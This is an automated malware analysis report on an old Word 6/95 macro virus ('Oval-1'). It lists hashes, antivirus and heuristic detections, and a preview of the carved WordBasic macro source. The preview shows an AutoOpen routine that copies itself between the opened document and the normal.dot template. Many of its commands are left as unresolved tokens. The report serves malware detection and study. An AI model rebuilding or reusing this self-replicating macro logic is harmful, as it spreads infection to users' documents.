Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 035e751645ba87c6…

MALICIOUS

Office (OLE)

6.0 KB First seen: 2012-06-14
MD5: afe7a4c54742f1cda3cfe2ad2ee8e22b SHA-1: b98de20c0a2563f47b325b21f2be9e7a411dbeff SHA-256: 035e751645ba87c680acad3efc9e92a16cac6051107f44f054a9f075ea88474b
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits legacy WordBasic macro virus markers, specifically 'RSN MACRO VIRUS', and includes text that appears to be part of a macro, such as 'AutoOpen'. The document body also contains references to 'RSN MACRO VIRUS Goat file' and 'Oval-1', suggesting a historical macro-based malware. While no specific malicious URLs or executable payloads were extracted, the presence of these markers strongly indicates an attempt to execute malicious code via macros.

Heuristics 3

  • ClamAV: Win.Trojan.Oval-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Oval-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 345 bytes
SHA-256: 79d823a5da42bda5bbfe75d7efa2260eb1dc8dc6e4600b8b7d36ca3217196bdd
Preview script
First 1,000 lines of the extracted script
=
Main
, - * c
@cmd8111 0
a$ = @cmd8025
b$ = "Global:AutoOpen"
@cmd80b0 @cmd8009 a$ , 3 = "doc"
a$ = a$ = ":AutoOpen"
@cmd80b0 @cmd8009 @cmd818e "AutoOpen" , 10 = "normal.dot"
@cmd80c2 b$ , a$ , 1
@cmd0054 = 1
@cmd80c2 a$ , b$ , 1
@cmd00d1 = 0
@cmd800e
@cmd00ed
@cmd000c
@cmdc010
@cmd0053
@cmd802b "Be sure to drink your Ovaltine." , , 1
, - * 0

Open this report in the interactive analyzer, or submit your own file for analysis.